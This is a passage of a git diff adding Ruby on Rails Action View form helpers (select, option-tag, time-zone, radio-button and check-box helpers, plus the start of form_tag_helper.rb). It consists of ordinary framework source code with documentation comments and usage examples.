+      # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
+      #   array of child objects representing the <tt><option></tt> tags.
+      # * +group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
+      #   string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
+      # * +option_key_method+ - The name of a method which, when called on a child object of a member of
+      #   +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
+      # * +option_value_method+ - The name of a method which, when called on a child object of a member of
+      #   +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
+      #
+      # Example object structure for use with this method:
+      #
+      #   class Continent < ActiveRecord::Base
+      #     has_many :countries
+      #     # attribs: id, name
+      #   end
+      #
+      #   class Country < ActiveRecord::Base
+      #     belongs_to :continent
+      #     # attribs: id, name, continent_id
+      #   end
+      #
+      #   class City < ActiveRecord::Base
+      #     belongs_to :country
+      #     # attribs: id, name, country_id
+      #   end
+      #
+      # Sample usage:
+      #
+      #   grouped_collection_select(:city, :country_id, @continents, :countries, :name, :id, :name)
+      #
+      # Possible output:
+      #
+      #   <select name="city[country_id]" id="city_country_id">
+      #     <optgroup label="Africa">
+      #       <option value="1">South Africa</option>
+      #       <option value="3">Somalia</option>
+      #     </optgroup>
+      #     <optgroup label="Europe">
+      #       <option value="7" selected="selected">Denmark</option>
+      #       <option value="2">Ireland</option>
+      #     </optgroup>
+      #   </select>
+      #
+      def grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
+        Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
+      end
+
+      # Returns select and option tags for the given object and method, using
+      # #time_zone_options_for_select to generate the list of option tags.
+      #
+      # In addition to the <tt>:include_blank</tt> option documented above,
+      # this method also supports a <tt>:model</tt> option, which defaults
+      # to ActiveSupport::TimeZone. This may be used by users to specify a
+      # different time zone model object. (See +time_zone_options_for_select+
+      # for more information.)
+      #
+      # You can also supply an array of ActiveSupport::TimeZone objects
+      # as +priority_zones+ so that they will be listed above the rest of the
+      # (long) list. You can use ActiveSupport::TimeZone.us_zones for a list
+      # of US time zones, ActiveSupport::TimeZone.country_zones(country_code)
+      # for another country's time zones, or a Regexp to select the zones of
+      # your choice.
+      #
+      # Finally, this method supports a <tt>:default</tt> option, which selects
+      # a default ActiveSupport::TimeZone if the object's time zone is +nil+.
+      #
+      #   time_zone_select( "user", "time_zone", nil, include_blank: true)
+      #
+      #   time_zone_select( "user", "time_zone", nil, default: "Pacific Time (US & Canada)" )
+      #
+      #   time_zone_select( "user", 'time_zone', ActiveSupport::TimeZone.us_zones, default: "Pacific Time (US & Canada)")
+      #
+      #   time_zone_select( "user", 'time_zone', [ ActiveSupport::TimeZone['Alaska'], ActiveSupport::TimeZone['Hawaii'] ])
+      #
+      #   time_zone_select( "user", 'time_zone', /Australia/)
+      #
+      #   time_zone_select( "user", "time_zone", ActiveSupport::TimeZone.all.sort, model: ActiveSupport::TimeZone)
+      def time_zone_select(object, method, priority_zones = nil, options = {}, html_options = {})
+        Tags::TimeZoneSelect.new(object, method, self, priority_zones, options, html_options).render
+      end
+
+      # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container
+      # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and
+      # the "firsts" as option text. Hashes are turned into this form automatically, so the keys become "firsts" and values
+      # become lasts. If +selected+ is specified, the matching "last" or element will get the selected option-tag. +selected+
+      # may also be an array of values to be selected when using a multiple select.
+      #
+      #   options_for_select([["Dollar", "$"], ["Kroner", "DKK"]])
+      #   # => <option value="$">Dollar</option>
+      #   # => <option value="DKK">Kroner</option>
+      #
+      #   options_for_select([ "VISA", "MasterCard" ], "MasterCard")
+      #   # => <option value="VISA">VISA</option>
+      #   # => <option selected="selected" value="MasterCard">MasterCard</option>
+      #
+      #   options_for_select({ "Basic" => "$20", "Plus" => "$40" }, "$40")
+      #   # => <option value="$20">Basic</option>
+      #   # => <option value="$40" selected="selected">Plus</option>
+      #
+      #   options_for_select([ "VISA", "MasterCard", "Discover" ], ["VISA", "Discover"])
+      #   # => <option selected="selected" value="VISA">VISA</option>
+      #   # => <option value="MasterCard">MasterCard</option>
+      #   # => <option selected="selected" value="Discover">Discover</option>
+      #
+      # You can optionally provide HTML attributes as the last element of the array.
+      #
+      #   options_for_select([ "Denmark", ["USA", {class: 'bold'}], "Sweden" ], ["USA", "Sweden"])
+      #   # => <option value="Denmark">Denmark</option>
+      #   # => <option value="USA" class="bold" selected="selected">USA</option>
+      #   # => <option value="Sweden" selected="selected">Sweden</option>
+      #
+      #   options_for_select([["Dollar", "$", {class: "bold"}], ["Kroner", "DKK", {onclick: "alert('HI');"}]])
+      #   # => <option value="$" class="bold">Dollar</option>
+      #   # => <option value="DKK" onclick="alert('HI');">Kroner</option>
+      #
+      # If you wish to specify disabled option tags, set +selected+ to be a hash, with <tt>:disabled</tt> being either a value
+      # or array of values to be disabled. In this case, you can use <tt>:selected</tt> to specify selected option tags.
+      #
+      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: "Super Platinum")
+      #   # => <option value="Free">Free</option>
+      #   # => <option value="Basic">Basic</option>
+      #   # => <option value="Advanced">Advanced</option>
+      #   # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+      #
+      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], disabled: ["Advanced", "Super Platinum"])
+      #   # => <option value="Free">Free</option>
+      #   # => <option value="Basic">Basic</option>
+      #   # => <option value="Advanced" disabled="disabled">Advanced</option>
+      #   # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+      #
+      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], selected: "Free", disabled: "Super Platinum")
+      #   # => <option value="Free" selected="selected">Free</option>
+      #   # => <option value="Basic">Basic</option>
+      #   # => <option value="Advanced">Advanced</option>
+      #   # => <option value="Super Platinum" disabled="disabled">Super Platinum</option>
+      #
+      # NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
+      def options_for_select(container, selected = nil)
+        return container if String === container
+
+        selected, disabled = extract_selected_and_disabled(selected).map do |r|
+          Array(r).map(&:to_s)
+        end
+
+        container.map do |element|
+          html_attributes = option_html_attributes(element)
+          text, value = option_text_and_value(element).map(&:to_s)
+
+          html_attributes[:selected] ||= option_value_selected?(value, selected)
+          html_attributes[:disabled] ||= disabled && option_value_selected?(value, disabled)
+          html_attributes[:value] = value
+
+          tag_builder.content_tag_string(:option, text, html_attributes)
+        end.join("\n").html_safe
+      end
+
+      # Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning
+      # the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
+      #
+      #   options_from_collection_for_select(@people, 'id', 'name')
+      #   # => <option value="#{person.id}">#{person.name}</option>
+      #
+      # This is more often than not used inside a #select_tag like this example:
+      #
+      #   select_tag 'person', options_from_collection_for_select(@people, 'id', 'name')
+      #
+      # If +selected+ is specified as a value or array of values, the element(s) returning a match on +value_method+
+      # will be selected option tag(s).
+      #
+      # If +selected+ is specified as a Proc, those members of the collection that return true for the anonymous
+      # function are the selected values.
+      #
+      # +selected+ can also be a hash, specifying both <tt>:selected</tt> and/or <tt>:disabled</tt> values as required.
+      #
+      # Be sure to specify the same class as the +value_method+ when specifying selected or disabled options.
+      # Failure to do this will produce undesired results. Example:
+      #   options_from_collection_for_select(@people, 'id', 'name', '1')
+      # Will not select a person with the id of 1 because 1 (an Integer) is not the same as '1' (a string)
+      #   options_from_collection_for_select(@people, 'id', 'name', 1)
+      # should produce the desired results.
+      def options_from_collection_for_select(collection, value_method, text_method, selected = nil)
+        options = collection.map do |element|
+          [value_for_collection(element, text_method), value_for_collection(element, value_method), option_html_attributes(element)]
+        end
+        selected, disabled = extract_selected_and_disabled(selected)
+        select_deselect = {
+          selected: extract_values_from_collection(collection, value_method, selected),
+          disabled: extract_values_from_collection(collection, value_method, disabled)
+        }
+
+        options_for_select(options, select_deselect)
+      end
+
+      # Returns a string of <tt><option></tt> tags, like <tt>options_from_collection_for_select</tt>, but
+      # groups them by <tt><optgroup></tt> tags based on the object relationships of the arguments.
+      #
+      # Parameters:
+      # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
+      # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
+      #   array of child objects representing the <tt><option></tt> tags.
+      # * +group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
+      #   string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
+      # * +option_key_method+ - The name of a method which, when called on a child object of a member of
+      #   +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
+      # * +option_value_method+ - The name of a method which, when called on a child object of a member of
+      #   +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
+      # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
+      #   which will have the +selected+ attribute set. Corresponds to the return value of one of the calls
+      #   to +option_key_method+. If +nil+, no selection is made. Can also be a hash if disabled values are
+      #   to be specified.
+      #
+      # Example object structure for use with this method:
+      #
+      #   class Continent < ActiveRecord::Base
+      #     has_many :countries
+      #     # attribs: id, name
+      #   end
+      #
+      #   class Country < ActiveRecord::Base
+      #     belongs_to :continent
+      #     # attribs: id, name, continent_id
+      #   end
+      #
+      # Sample usage:
+      #   option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
+      #
+      # Possible output:
+      #   <optgroup label="Africa">
+      #     <option value="1">Egypt</option>
+      #     <option value="4">Rwanda</option>
+      #     ...
+      #   </optgroup>
+      #   <optgroup label="Asia">
+      #     <option value="3" selected="selected">China</option>
+      #     <option value="12">India</option>
+      #     <option value="5">Japan</option>
+      #     ...
+      #   </optgroup>
+      #
+      # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
+      # wrap the output in an appropriate <tt><select></tt> tag.
+      def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = nil)
+        collection.map do |group|
+          option_tags = options_from_collection_for_select(
+            group.send(group_method), option_key_method, option_value_method, selected_key)
+
+          content_tag("optgroup".freeze, option_tags, label: group.send(group_label_method))
+        end.join.html_safe
+      end
+
+      # Returns a string of <tt><option></tt> tags, like <tt>options_for_select</tt>, but
+      # wraps them with <tt><optgroup></tt> tags:
+      #
+      #   grouped_options = [
+      #    ['North America',
+      #      [['United States','US'],'Canada']],
+      #    ['Europe',
+      #      ['Denmark','Germany','France']]
+      #   ]
+      #   grouped_options_for_select(grouped_options)
+      #
+      #   grouped_options = {
+      #     'North America' => [['United States','US'], 'Canada'],
+      #     'Europe' => ['Denmark','Germany','France']
+      #   }
+      #   grouped_options_for_select(grouped_options)
+      #
+      # Possible output:
+      #   <optgroup label="North America">
+      #     <option value="US">United States</option>
+      #     <option value="Canada">Canada</option>
+      #   </optgroup>
+      #   <optgroup label="Europe">
+      #     <option value="Denmark">Denmark</option>
+      #     <option value="Germany">Germany</option>
+      #     <option value="France">France</option>
+      #   </optgroup>
+      #
+      # Parameters:
+      # * +grouped_options+ - Accepts a nested array or hash of strings. The first value serves as the
+      #   <tt><optgroup></tt> label while the second value must be an array of options. The second value can be a
+      #   nested array of text-value pairs. See <tt>options_for_select</tt> for more info.
+      #    Ex. ["North America",[["United States","US"],["Canada","CA"]]]
+      # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
+      #   which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options
+      #   as you might have the same option in multiple groups. Each will then get <tt>selected="selected"</tt>.
+      #
+      # Options:
+      # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this
+      #   prepends an option with a generic prompt - "Please select" - or the given prompt string.
+      # * <tt>:divider</tt> - the divider for the options groups.
+      #
+      #     grouped_options = [
+      #       [['United States','US'], 'Canada'],
+      #       ['Denmark','Germany','France']
+      #     ]
+      #     grouped_options_for_select(grouped_options, nil, divider: '---------')
+      #
+      #   Possible output:
+      #     <optgroup label="---------">
+      #       <option value="US">United States</option>
+      #       <option value="Canada">Canada</option>
+      #     </optgroup>
+      #     <optgroup label="---------">
+      #       <option value="Denmark">Denmark</option>
+      #       <option value="Germany">Germany</option>
+      #       <option value="France">France</option>
+      #     </optgroup>
+      #
+      # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
+      # wrap the output in an appropriate <tt><select></tt> tag.
+      def grouped_options_for_select(grouped_options, selected_key = nil, options = {})
+        prompt  = options[:prompt]
+        divider = options[:divider]
+
+        body = "".html_safe
+
+        if prompt
+          body.safe_concat content_tag("option".freeze, prompt_text(prompt), value: "")
+        end
+
+        grouped_options.each do |container|
+          html_attributes = option_html_attributes(container)
+
+          if divider
+            label = divider
+          else
+            label, container = container
+          end
+
+          html_attributes = { label: label }.merge!(html_attributes)
+          body.safe_concat content_tag("optgroup".freeze, options_for_select(container, selected_key), html_attributes)
+        end
+
+        body
+      end
+
+      # Returns a string of option tags for pretty much any time zone in the
+      # world. Supply an ActiveSupport::TimeZone name as +selected+ to have it
+      # marked as the selected option tag. You can also supply an array of
+      # ActiveSupport::TimeZone objects as +priority_zones+, so that they will
+      # be listed above the rest of the (long) list. (You can use
+      # ActiveSupport::TimeZone.us_zones as a convenience for obtaining a list
+      # of the US time zones, or a Regexp to select the zones of your choice)
+      #
+      # The +selected+ parameter must be either +nil+, or a string that names
+      # an ActiveSupport::TimeZone.
+      #
+      # By default, +model+ is the ActiveSupport::TimeZone constant (which can
+      # be obtained in Active Record as a value object). The only requirement
+      # is that the +model+ parameter be an object that responds to +all+, and
+      # returns an array of objects that represent time zones.
+      #
+      # NOTE: Only the option tags are returned, you have to wrap this call in
+      # a regular HTML select tag.
+      def time_zone_options_for_select(selected = nil, priority_zones = nil, model = ::ActiveSupport::TimeZone)
+        zone_options = "".html_safe
+
+        zones = model.all
+        convert_zones = lambda { |list| list.map { |z| [ z.to_s, z.name ] } }
+
+        if priority_zones
+          if priority_zones.is_a?(Regexp)
+            priority_zones = zones.select { |z| z =~ priority_zones }
+          end
+
+          zone_options.safe_concat options_for_select(convert_zones[priority_zones], selected)
+          zone_options.safe_concat content_tag("option".freeze, "-------------", value: "", disabled: true)
+          zone_options.safe_concat "\n"
+
+          zones = zones - priority_zones
+        end
+
+        zone_options.safe_concat options_for_select(convert_zones[zones], selected)
+      end
+
+      # Returns radio button tags for the collection of existing return values
+      # of +method+ for +object+'s class. The value returned from calling
+      # +method+ on the instance +object+ will be selected. If calling +method+
+      # returns +nil+, no selection is made.
+      #
+      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
+      # methods to be called on each member of +collection+. The return values
+      # are used as the +value+ attribute and contents of each radio button tag,
+      # respectively. They can also be any object that responds to +call+, such
+      # as a +proc+, that will be called for each member of the +collection+ to
+      # retrieve the value/text.
+      #
+      # Example object structure for use with this method:
+      #   class Post < ActiveRecord::Base
+      #     belongs_to :author
+      #   end
+      #   class Author < ActiveRecord::Base
+      #     has_many :posts
+      #     def name_with_initial
+      #       "#{first_name.first}. #{last_name}"
+      #     end
+      #   end
+      #
+      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+      #
+      # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
+      #   <input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
+      #   <label for="post_author_id_1">D. Heinemeier Hansson</label>
+      #   <input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
+      #   <label for="post_author_id_2">D. Thomas</label>
+      #   <input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
+      #   <label for="post_author_id_3">M. Clark</label>
+      #
+      # It is also possible to customize the way the elements will be shown by
+      # giving a block to the method:
+      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+      #     b.label { b.radio_button }
+      #   end
+      #
+      # The argument passed to the block is a special kind of builder for this
+      # collection, which has the ability to generate the label and radio button
+      # for the current item in the collection, with proper text and value.
+      # Using it, you can change the label and radio button display order or
+      # even use the label as wrapper, as in the example above.
+      #
+      # The builder methods <tt>label</tt> and <tt>radio_button</tt> also accept
+      # extra HTML options:
+      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+      #     b.label(class: "radio_button") { b.radio_button(class: "radio_button") }
+      #   end
+      #
+      # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
+      # <tt>value</tt>, which are the current item being rendered, its text and value methods,
+      # respectively. You can use them like this:
+      #   collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial) do |b|
+      #      b.label(:"data-value" => b.value) { b.radio_button + b.text }
+      #   end
+      #
+      # ==== Gotcha
+      #
+      # The HTML specification says when nothing is select on a collection of radio buttons
+      # web browsers do not send any value to server.
+      # Unfortunately this introduces a gotcha:
+      # if a +User+ model has a +category_id+ field and in the form no category is selected, no +category_id+ parameter is sent. So,
+      # any strong parameters idiom like:
+      #
+      #   params.require(:user).permit(...)
+      #
+      # will raise an error since no <tt>{user: ...}</tt> will be present.
+      #
+      # To prevent this the helper generates an auxiliary hidden field before
+      # every collection of radio buttons. The hidden field has the same name as collection radio button and blank value.
+      #
+      # In case if you don't want the helper to generate this hidden field you can specify
+      # <tt>include_hidden: false</tt> option.
+      def collection_radio_buttons(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        Tags::CollectionRadioButtons.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
+      end
+
+      # Returns check box tags for the collection of existing return values of
+      # +method+ for +object+'s class. The value returned from calling +method+
+      # on the instance +object+ will be selected. If calling +method+ returns
+      # +nil+, no selection is made.
+      #
+      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are
+      # methods to be called on each member of +collection+. The return values
+      # are used as the +value+ attribute and contents of each check box tag,
+      # respectively. They can also be any object that responds to +call+, such
+      # as a +proc+, that will be called for each member of the +collection+ to
+      # retrieve the value/text.
+      #
+      # Example object structure for use with this method:
+      #   class Post < ActiveRecord::Base
+      #     has_and_belongs_to_many :authors
+      #   end
+      #   class Author < ActiveRecord::Base
+      #     has_and_belongs_to_many :posts
+      #     def name_with_initial
+      #       "#{first_name.first}. #{last_name}"
+      #     end
+      #   end
+      #
+      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
+      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+      #
+      # If <tt>@post.author_ids</tt> is already <tt>[1]</tt>, this would return:
+      #   <input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
+      #   <label for="post_author_ids_1">D. Heinemeier Hansson</label>
+      #   <input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
+      #   <label for="post_author_ids_2">D. Thomas</label>
+      #   <input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
+      #   <label for="post_author_ids_3">M. Clark</label>
+      #   <input name="post[author_ids][]" type="hidden" value="" />
+      #
+      # It is also possible to customize the way the elements will be shown by
+      # giving a block to the method:
+      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+      #     b.label { b.check_box }
+      #   end
+      #
+      # The argument passed to the block is a special kind of builder for this
+      # collection, which has the ability to generate the label and check box
+      # for the current item in the collection, with proper text and value.
+      # Using it, you can change the label and check box display order or even
+      # use the label as wrapper, as in the example above.
+      #
+      # The builder methods <tt>label</tt> and <tt>check_box</tt> also accept
+      # extra HTML options:
+      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+      #     b.label(class: "check_box") { b.check_box(class: "check_box") }
+      #   end
+      #
+      # There are also three special methods available: <tt>object</tt>, <tt>text</tt> and
+      # <tt>value</tt>, which are the current item being rendered, its text and value methods,
+      # respectively. You can use them like this:
+      #   collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial) do |b|
+      #      b.label(:"data-value" => b.value) { b.check_box + b.text }
+      #   end
+      #
+      # ==== Gotcha
+      #
+      # When no selection is made for a collection of checkboxes most
+      # web browsers will not send any value.
+      #
+      # For example, if we have a +User+ model with +category_ids+ field and we
+      # have the following code in our update action:
+      #
+      #   @user.update(params[:user])
+      #
+      # If no +category_ids+ are selected then we can safely assume this field
+      # will not be updated.
+      #
+      # This is possible thanks to a hidden field generated by the helper method
+      # for every collection of checkboxes.
+      # This hidden field is given the same field name as the checkboxes with a
+      # blank value.
+      #
+      # In the rare case you don't want this hidden field, you can pass the
+      # <tt>include_hidden: false</tt> option to the helper method.
+      def collection_check_boxes(object, method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        Tags::CollectionCheckBoxes.new(object, method, self, collection, value_method, text_method, options, html_options).render(&block)
+      end
+
+      private
+        def option_html_attributes(element)
+          if Array === element
+            element.select { |e| Hash === e }.reduce({}, :merge!)
+          else
+            {}
+          end
+        end
+
+        def option_text_and_value(option)
+          # Options are [text, value] pairs or strings used for both.
+          if !option.is_a?(String) && option.respond_to?(:first) && option.respond_to?(:last)
+            option = option.reject { |e| Hash === e } if Array === option
+            [option.first, option.last]
+          else
+            [option, option]
+          end
+        end
+
+        def option_value_selected?(value, selected)
+          Array(selected).include? value
+        end
+
+        def extract_selected_and_disabled(selected)
+          if selected.is_a?(Proc)
+            [selected, nil]
+          else
+            selected = Array.wrap(selected)
+            options = selected.extract_options!.symbolize_keys
+            selected_items = options.fetch(:selected, selected)
+            [selected_items, options[:disabled]]
+          end
+        end
+
+        def extract_values_from_collection(collection, value_method, selected)
+          if selected.is_a?(Proc)
+            collection.map do |element|
+              element.send(value_method) if selected.call(element)
+            end.compact
+          else
+            selected
+          end
+        end
+
+        def value_for_collection(item, value)
+          value.respond_to?(:call) ? value.call(item) : item.send(value)
+        end
+
+        def prompt_text(prompt)
+          prompt.kind_of?(String) ? prompt : I18n.translate("helpers.select.prompt", default: "Please select")
+        end
+    end
+
+    class FormBuilder
+      # Wraps ActionView::Helpers::FormOptionsHelper#select for form builders:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.select :person_id, Person.all.collect { |p| [ p.name, p.id ] }, include_blank: true %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def select(method, choices = nil, options = {}, html_options = {}, &block)
+        @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options), &block)
+      end
+
+      # Wraps ActionView::Helpers::FormOptionsHelper#collection_select for form builders:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.collection_select :person_id, Author.all, :id, :name_with_initial, prompt: true %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def collection_select(method, collection, value_method, text_method, options = {}, html_options = {})
+        @template.collection_select(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
+      end
+
+      # Wraps ActionView::Helpers::FormOptionsHelper#grouped_collection_select for form builders:
+      #
+      #   <%= form_for @city do |f| %>
+      #     <%= f.grouped_collection_select :country_id, @continents, :countries, :name, :id, :name %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
+        @template.grouped_collection_select(@object_name, method, collection, group_method, group_label_method, option_key_method, option_value_method, objectify_options(options), @default_options.merge(html_options))
+      end
+
+      # Wraps ActionView::Helpers::FormOptionsHelper#time_zone_select for form builders:
+      #
+      #   <%= form_for @user do |f| %>
+      #     <%= f.time_zone_select :time_zone, nil, include_blank: true %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
+        @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_options.merge(html_options))
+      end
+
+      # Wraps ActionView::Helpers::FormOptionsHelper#collection_check_boxes for form builders:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.collection_check_boxes :author_ids, Author.all, :id, :name_with_initial %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def collection_check_boxes(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        @template.collection_check_boxes(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options), &block)
+      end
+
+      # Wraps ActionView::Helpers::FormOptionsHelper#collection_radio_buttons for form builders:
+      #
+      #   <%= form_for @post do |f| %>
+      #     <%= f.collection_radio_buttons :author_id, Author.all, :id, :name_with_initial %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def collection_radio_buttons(method, collection, value_method, text_method, options = {}, html_options = {}, &block)
+        @template.collection_radio_buttons(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options), &block)
+      end
+    end
+  end
+end
diff --git a/actionview/lib/action_view/helpers/form_tag_helper.rb b/actionview/lib/action_view/helpers/form_tag_helper.rb
new file mode 100644
index 0000000000..91046acbf8
--- /dev/null
+++ b/actionview/lib/action_view/helpers/form_tag_helper.rb
@@ -0,0 +1,909 @@
+# frozen_string_literal: true
+
+require "cgi"
+require_relative "tag_helper"
+require "active_support/core_ext/string/output_safety"
+require "active_support/core_ext/module/attribute_accessors"
+
+module ActionView
+  # = Action View Form Tag Helpers
+  module Helpers
+    # Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like
+    # FormHelper does. Instead, you provide the names and values manually.
+    #
+    # NOTE: The HTML options <tt>disabled</tt>, <tt>readonly</tt>, and <tt>multiple</tt> can all be treated as booleans. So specifying
+    # <tt>disabled: true</tt> will give <tt>disabled="disabled"</tt>.
+    module FormTagHelper
+      extend ActiveSupport::Concern
+
+      include UrlHelper
+      include TextHelper
+
+      mattr_accessor :embed_authenticity_token_in_remote_forms
+      self.embed_authenticity_token_in_remote_forms = nil
+
+      # Starts a form tag that points the action to a url configured with <tt>url_for_options</tt> just like
+      # ActionController::Base#url_for. The method for the form defaults to POST.
+      #
+      # ==== Options
+      # * <tt>:multipart</tt> - If set to true, the enctype is set to "multipart/form-data".
+      # * <tt>:method</tt> - The method to use when submitting the form, usually either "get" or "post".
+      #   If "patch", "put", "delete", or another verb is used, a hidden input with name <tt>_method</tt>
+      #   is added to simulate the verb over post.
+      # * <tt>:authenticity_token</tt> - Authenticity token to use in the form. Use only if you need to
+      #   pass custom authenticity token string, or to not add authenticity_token field at all
+      #   (by passing <tt>false</tt>).  Remote forms may omit the embedded authenticity token
+      #   by setting <tt>config.action_view.embed_authenticity_token_in_remote_forms = false</tt>.
+      #   This is helpful when you're fragment-caching the form. Remote forms get the
+      #   authenticity token from the <tt>meta</tt> tag, so embedding is unnecessary unless you
+      #   support browsers without JavaScript.
+      # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
+      #   submit behavior. By default this behavior is an ajax submit.
+      # * <tt>:enforce_utf8</tt> - If set to false, a hidden input with name utf8 is not output.
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   form_tag('/posts')
+      #   # => <form action="/posts" method="post">
+      #
+      #   form_tag('/posts/1', method: :put)
+      #   # => <form action="/posts/1" method="post"> ... <input name="_method" type="hidden" value="put" /> ...
+      #
+      #   form_tag('/upload', multipart: true)
+      #   # => <form action="/upload" method="post" enctype="multipart/form-data">
+      #
+      #   <%= form_tag('/posts') do -%>
+      #     <div><%= submit_tag 'Save' %></div>
+      #   <% end -%>
+      #   # => <form action="/posts" method="post"><div><input type="submit" name="commit" value="Save" /></div></form>
+      #
+      #   <%= form_tag('/posts', remote: true) %>
+      #   # => <form action="/posts" method="post" data-remote="true">
+      #
+      #   form_tag('http://far.away.com/form', authenticity_token: false)
+      #   # form without authenticity token
+      #
+      #   form_tag('http://far.away.com/form', authenticity_token: "cf50faa3fe97702ca1ae")
+      #   # form with custom authenticity token
+      #
+      def form_tag(url_for_options = {}, options = {}, &block)
+        html_options = html_options_for_form(url_for_options, options)
+        if block_given?
+          form_tag_with_body(html_options, capture(&block))
+        else
+          form_tag_html(html_options)
+        end
+      end
+
+      # Creates a dropdown selection box, or if the <tt>:multiple</tt> option is set to true, a multiple
+      # choice selection box.
+      #
+      # Helpers::FormOptions can be used to create common select boxes such as countries, time zones, or
+      # associated records. <tt>option_tags</tt> is a string containing the option tags for the select box.
+      #
+      # ==== Options
+      # * <tt>:multiple</tt> - If set to true, the selection will allow multiple choices.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * <tt>:include_blank</tt> - If set to true, an empty option will be created. If set to a string, the string will be used as the option's content and the value will be empty.
+      # * <tt>:prompt</tt> - Create a prompt option with blank value and the text asking user to select something.
+      # * Any other key creates standard HTML attributes for the tag.
+      #
+      # ==== Examples
+      #   select_tag "people", options_from_collection_for_select(@people, "id", "name")
+      #   # <select id="people" name="people"><option value="1">David</option></select>
+      #
+      #   select_tag "people", options_from_collection_for_select(@people, "id", "name", "1")
+      #   # <select id="people" name="people"><option value="1" selected="selected">David</option></select>
+      #
+      #   select_tag "people", raw("<option>David</option>")
+      #   # => <select id="people" name="people"><option>David</option></select>
+      #
+      #   select_tag "count", raw("<option>1</option><option>2</option><option>3</option><option>4</option>")
+      #   # => <select id="count" name="count"><option>1</option><option>2</option>
+      #   #    <option>3</option><option>4</option></select>
+      #
+      #   select_tag "colors", raw("<option>Red</option><option>Green</option><option>Blue</option>"), multiple: true
+      #   # => <select id="colors" multiple="multiple" name="colors[]"><option>Red</option>
+      #   #    <option>Green</option><option>Blue</option></select>
+      #
